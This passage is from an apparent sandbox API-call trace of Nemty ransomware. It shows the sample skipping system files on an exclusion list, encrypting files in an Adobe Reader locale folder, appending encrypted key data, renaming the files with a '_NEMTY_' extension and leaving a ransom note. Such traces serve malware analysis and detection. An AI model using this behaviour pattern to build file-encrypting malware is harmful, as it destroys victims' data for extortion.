lpDistanceToMoveHigh=0x0) returned 0x2800 [0185.713] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.713] CloseHandle (hObject=0x2e8) returned 1 [0185.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.713] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Updater.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\updater.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Updater.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\updater.ukr._nemty_kgobjgd_")) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.714] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.UKR", cAlternateFileName="")) returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2=".") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="..") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="...") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="windows") returned -1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="rsa") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="NTDETECT.COM") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="ntldr") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="MSDOS.SYS") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="IO.SYS") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="boot.ini") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="boot.ini") returned 1 [0185.714] lstrcmpiW (lpString1="Weblink.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="ntuser.dat") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="desktop.ini") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="CONFIG.SYS") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="RECYCLER") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="bootmgr") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="programdata") returned 1 [0185.715] lstrcmpiW (lpString1="Weblink.UKR", lpString2="appdata") returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.715] Sleep (dwMilliseconds=0x5) [0185.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22579610, dwHighDateTime=0x1d561e8)) [0185.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22579610, dwHighDateTime=0x1d561e8)) [0185.716] GetLastError () returned 0x0 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.716] GetLastError () returned 0x0 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.716] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.716] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.716] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="pKlayah2RaT9riN4Mtzb75WYbNrn7GpjwOYkU0ZgVDuYPbNYW6Du6Ib1qEYYizFR\r\nBP4/DN/fZahGy5lXUkeZtNNzXXa7PdJmybk1fbl5c/qNkE1oeuuNi6Vwtgj3PMp5\r\nv+2VikPmzmoJxyyeCghNdZk6/YNuYLUSgfX6OyIBwcZFhhhO7sjHRok9s/rme7nG\r\n2HjNlb99rjwA6zQ8Agl2IdC8LftV3R80sYrX/OtxrqGfHWhytiubIOWONnNvx4qX\r\nIqNNsJlesOmNwX0SgR8fc9chA/YvsyMN1DvNaCzxkVaBjx3cPEHTZPxgAYDvqXZV\r\nLAk8izX+ynv2GWHDbnPdeQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Weblink.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\weblink.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.717] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27648) returned 1 [0185.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c00) returned 0x6352c48 [0185.717] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.717] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c00, lpOverlapped=0x0) returned 1 [0185.720] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.720] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c00, lpOverlapped=0x0) returned 1 [0185.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.721] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0185.721] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.721] CloseHandle (hObject=0x2e8) returned 1 [0185.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.721] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Weblink.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\weblink.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Weblink.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\weblink.ukr._nemty_kgobjgd_")) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.722] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220908b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x220908b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x220908b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0185.722] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0185.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.723] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220908b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x220908b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x220908b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0185.723] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0185.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0185.723] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0185.723] lstrcmpiW (lpString1="zh_CN", lpString2=".") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="..") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="...") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="windows") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="$RECYCLE.BIN") returned 1 [0185.724] lstrcmpiW (lpString1="zh_CN", lpString2="rsa") returned 1 [0185.724] 